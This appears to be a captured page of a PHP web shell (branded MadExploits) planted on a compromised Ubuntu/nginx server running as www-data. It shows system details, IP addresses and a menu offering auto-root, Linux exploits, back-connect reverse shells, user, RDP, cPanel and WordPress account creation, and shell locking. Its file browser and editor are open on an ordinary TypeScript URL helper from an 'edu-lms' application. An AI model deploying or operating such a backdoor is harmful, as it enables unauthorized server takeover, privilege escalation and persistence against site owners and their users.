Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
app /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
ajax.tsx
4.22
KB
-rw-r--r--
helper.tsx
4.07
KB
-rw-r--r--
storage.tsx
4.11
KB
-rw-r--r--
url.tsx
1.57
KB
-rw-r--r--
utils.tsx
923
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : url.tsx
import { parse, parseUrl, ParsedQuery, stringify } from 'query-string'; export class Url { public static current(): Url { return new Url(location.href); } public readonly url: string; public readonly rootUrl: string; public readonly queries: ParsedQuery; public readonly hashs: ParsedQuery; public readonly originUrl: string; public constructor(url?: string) { if (url) { this.originUrl = url; // eslint-disable-next-line no-useless-escape this.rootUrl = url.replace(/^(.*\/\/[^\/?#]*).*$/, '$1'); this.url = parseUrl(url).url; this.queries = parse(location.search); this.hashs = parse(location.hash); } } public appendQueries(queries: object | string): string { if (typeof queries === 'string') { return `${this.originUrl}${ this.originUrl.indexOf('?') < 0 ? '?' : '' }${queries}`; } else if (queries) { return `${this.originUrl}${ this.originUrl.indexOf('?') < 0 ? '?' : '' }${stringify(queries)}`; } else { return this.originUrl; } } public merge(absolutePath: string, queries?: object | string): string { return new Url(`${this.rootUrl}${absolutePath}`).appendQueries(queries); } public redirect(queriesOrUrl: object | string) { if (typeof queriesOrUrl === 'string') { location.href = queriesOrUrl; } else { location.search = stringify(queriesOrUrl); } } }
Close